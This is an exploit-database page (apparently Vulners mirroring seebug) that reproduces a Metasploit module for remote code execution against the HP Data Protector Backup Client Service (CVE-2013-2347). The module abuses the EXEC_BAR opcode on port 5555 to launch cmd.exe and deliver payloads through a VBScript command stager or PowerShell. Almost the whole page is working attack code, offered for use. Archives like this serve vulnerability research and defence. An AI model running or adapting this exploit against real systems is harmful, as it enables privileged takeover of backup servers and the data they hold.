Lucene search
K

HP Data Protector Backup Client Service Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

HP Data Protector Backup Client Service Remote Code Execution. Abuses OmniInet.exe to achieve remote code execution. Tested on HP Data Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2

Code

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  include Msf::Exploit::CmdStagerVBS

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Data Protector Backup Client Service Remote Code Execution',
      'Description'    => %q{
        This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code
        execution. The vulnerability exists in the EXEC_BAR operation, which allows to
        execute arbitrary processes. This module has been tested successfully on HP Data
        Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.
      },
      'Author'         =>
        [
          'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-2347' ],
          [ 'BID', '64647' ],
          [ 'ZDI', '14-008' ],
          [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ],
          [ 'URL', 'http://ddilabs.blogspot.com/2014/02/fun-with-hp-data-protector-execbar.html' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
        },
      'Platform'        => 'win',
      'Targets'         =>
        [
          [ 'HP Data Protector 6.20 build 370 / VBScript CMDStager', { } ],
          [ 'HP Data Protector 6.20 build 370 / Powershell', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 02 2014'))

    register_options(
      [
        Opt::RPORT(5555),
        OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe'])
      ],
    self.class)
  end

  def check
    fingerprint = get_fingerprint

    if fingerprint.nil?
      return Exploit::CheckCode::Unknown
    end

    print_status("#{peer} - HP Data Protector version #{fingerprint}")

    if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
      minor = $1.to_i
    else
      return Exploit::CheckCode::Safe
    end

    if minor < 21
      return Exploit::CheckCode::Appears
    elsif minor == 21
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Detected
    end

  end

  def exploit
    if target.name =~ /VBScript CMDStager/
      # 7500 just in case, to be sure the command fits after
      # environment variables expansion
      execute_cmdstager({:linemax => 7500})
    elsif target.name =~ /Powershell/
      # Environment variables are not being expanded before, neither in CreateProcess
      command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")
      if command.length > 8000
        # Windows 2008 Command Prompt Max Length is 8191
        fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
      end
      print_status("#{peer} - Exploiting through Powershell...")
      exec_bar(datastore['CMDPATH'], command, "\x00")
    end
  end

  def peer
    "#{rhost}:#{rport}"
  end

  def build_pkt(fields)
    data = "\xff\xfe" # BOM Unicode
    fields.each do |v|
      data << "#{Rex::Text.to_unicode(v)}\x00\x00"
      data << Rex::Text.to_unicode(" ") # Separator
    end

    data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
    return [data.length].pack("N") + data
  end

  def get_fingerprint
    ommni = connect
    ommni.put(rand_text_alpha_upper(64))
    resp = ommni.get_once(-1)
    disconnect

    if resp.nil?
      return nil
    end

    Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
  end

  def exec_bar(cmd, *args)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "11", # Opcode EXEC_BAR
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "#{cmd}", # Executable
      rand_text_alpha(8)
    ].concat(args))
    sock.put(pkt)
    # In my testings the default timeout (10) isn't enough
    begin
      res = sock.get_once(-1, 20)
    rescue EOFError # happens when using the Powershell method
      disconnect
      return
    end
    fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res)
    disconnect
  end

  def exec_bar?(data)
    return false if data.blank?
    data_unpacked = data.unpack("NnVv")
    data_unpacked.length == 4 && data_unpacked[0] == 8 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x36 && data_unpacked[3] == 0
  end

  def execute_command(cmd, opts = {})
    exec_bar(datastore['CMDPATH'], "/c #{cmd}", "\x00")
  end

  def get_vbs_string(str)
    vbs_str = ""
    str.each_byte { |b|
      vbs_str << "Chr(#{b})+"
    }

    return vbs_str.chomp("+")
  end

  # Make the modifications required to the specific encoder
  # This exploit uses an specific encoder because quotes (")
  # aren't allowed when injecting commands
  def execute_cmdstager_begin(opts)
    var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
    var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
    decoded_file = "#{var_decoded}.exe"
    encoded_file = "#{var_encoded}.b64"
    @cmd_list.each do |command|
      # Because the exploit kills cscript processes to speed up and reliability
      command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
      command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
      command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
    end
  end

end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation